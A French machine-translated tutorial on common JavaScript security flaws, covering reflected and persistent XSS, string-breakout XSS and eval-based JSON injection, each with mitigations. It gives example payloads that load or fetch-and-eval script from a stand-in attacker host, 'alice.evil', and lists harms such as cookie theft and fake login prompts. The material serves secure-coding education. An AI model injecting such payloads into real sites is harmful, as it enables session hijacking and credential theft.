Recherche…
Introduction
Ceci est une collection de problèmes de sécurité JavaScript courants, tels que XSS et injection eval. Cette collection contient également comment atténuer ces problèmes de sécurité.
Script intersite réfléchi (XSS)
Disons que Joe possède un site Web qui vous permet de vous connecter, de voir des vidéos de chiots et de les enregistrer sur votre compte.
Lorsqu'un utilisateur effectue une recherche sur ce site Web, il est redirigé vers https://example.com/search?q=brown+puppies
.
Si la recherche d'un utilisateur ne correspond à rien, il voit un message du type:
Votre recherche ( chiots bruns ) ne correspondait à rien. Réessayer.
Sur le backend, ce message est affiché comme ceci:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
Cependant, lorsque Alice recherche des en- <h1>headings</h1>
, elle récupère ceci:
Votre recherche (
rubriques
) ne correspond à rien. Réessayer.
HTML brut:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Que Alice recherche <script>alert(1)</script>
, elle voit:
Votre recherche () ne correspond à rien. Réessayer.
Et:
Que Alice recherche <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
, <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
, et copie le lien dans sa barre d’adresse, puis envoie des e-mails à Bob:
Bob,
Quand je recherche des chiots mignons , rien ne se passe!
Que Alice réussisse à faire exécuter son script par Bob alors que Bob est connecté à son compte.
Atténuation:
- Échapez tous les crochets dans les recherches avant de renvoyer le terme de recherche lorsque aucun résultat n’est trouvé.
- Ne renvoyez pas le terme de recherche lorsque aucun résultat n'est trouvé.
- Ajouter une stratégie de sécurité du contenu qui refuse de charger le contenu actif d'autres domaines
Script intersite persistant (XSS)
Disons que Bob possède un site Web social qui permet aux utilisateurs de personnaliser leurs profils.
Alice se rend sur le site Web de Bob, crée un compte et accède aux paramètres de son profil. Elle définit sa description de profil en fait, I'm actually too lazy to write something here.
Lorsque ses amis voient son profil, ce code est exécuté sur le serveur:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
Résultat dans ce HTML:
<div>I'm actually too lazy to write something here.</div>
Que Alice définit sa description de profil sur <b>I like HTML</b>
. Quand elle visite son profil, au lieu de voir
<b> J'aime le HTML </ b>
elle voit
J'aime le HTML
Puis Alice définit son profil pour
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
Chaque fois que quelqu'un visite son profil, le script d'Alice est exécuté sur le site Web de Bob alors que son compte est ouvert.
Atténuation
- Suppression des crochets dans les descriptions de profil, etc.
- Stocker les descriptions de profil dans un fichier texte brut qui est ensuite extrait avec un script qui ajoute la description via
.innerText
- Ajouter une stratégie de sécurité du contenu qui refuse de charger le contenu actif d'autres domaines
Script inter-sites persistant à partir de chaînes de caractères JavaScript
Disons que Bob possède un site qui vous permet de publier des messages publics.
Les messages sont chargés par un script qui ressemble à ceci:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
La fonction addMessage
ajoute un message publié au DOM. Cependant, dans un effort pour éviter XSS, tout HTML dans les messages postés est échappé.
Le script est généré sur le serveur comme ceci:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
Alors alice affiche un message qui dit: My mom said: "Life is good. Pie makes it better. "
. Au moment où elle prévisualise le message, au lieu de voir son message, elle voit une erreur dans la console:
Uncaught SyntaxError: missing ) after argument list
Pourquoi? Parce que le script généré ressemble à ceci:
addMessage("My mom said: "Life is good. Pie makes it better. "");
C'est une erreur de syntaxe. Than Alice affiche:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
Ensuite, le script généré ressemble à:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
Cela ajoute le message I like pie
, mais il télécharge et exécute aussi https://alice.evil/js_xss.js
chaque fois que quelqu'un visite le site de Bob.
Atténuation:
- Transmettez le message publié dans JSON.stringify ()
- Au lieu de créer dynamiquement un script, créez un fichier texte contenant tous les messages récupérés ultérieurement par le script.
- Ajouter une stratégie de sécurité du contenu qui refuse de charger le contenu actif d'autres domaines
Pourquoi les scripts d'autres personnes peuvent nuire à votre site Web et à ses visiteurs
Si vous ne pensez pas que des scripts malveillants peuvent endommager votre site, vous avez tort . Voici une liste de ce qu'un script malveillant peut faire:
- Se retirer du DOM pour qu'il ne puisse pas être tracé
- Voler les cookies de session des utilisateurs et permettre à l'auteur du script de se connecter et de les emprunter
- Montrer un faux "Votre session a expiré. Veuillez vous connecter à nouveau." message qui envoie le mot de passe de l'utilisateur à l'auteur du script .
- Enregistrez un agent de service malveillant qui exécute un script malveillant à chaque visite de page sur ce site Web.
- Mettez en place un faux paywall exigeant que les utilisateurs paient pour accéder au site qui va réellement à l'auteur du script .
S'il vous plaît, ne pensez pas que XSS ne nuira pas à votre site Web et à ses visiteurs.
Injection JSON évaluée
Disons que chaque fois que quelqu'un visite une page de profil sur le site Web de Bob, l'URL suivante est récupérée:
https://example.com/api/users/1234/profiledata.json
Avec une réponse comme celle-ci:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
Que ces données sont analysées et insérées:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
Semble bon, non? Faux.
Que se passe-t-il si la description de quelqu'un est Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
?
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
Et cela sera eval
:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
Si vous pensez que ce n'est pas un problème, collez-le dans votre console et voyez ce qui se passe.
L'atténuation
Utilisez JSON.parse au lieu de eval pour obtenir JSON. En général, n'utilisez pas eval et n'utilisez certainement pas eval avec quelque chose qu'un utilisateur pourrait contrôler. Eval crée un nouveau contexte d'exécution , créant un impact sur les performances .
Échapper correctement
"
et\
dans les données utilisateur avant de le mettre en JSON. Si vous venez d'échapper à la"
, cela se produira:Hello! \"});alert(1);({
Sera converti en:
"Hello! \\"});alert(1);({"
Oops. N'oubliez pas d'échapper à la fois à
\
et"
, ou utilisez simplement JSON.parse.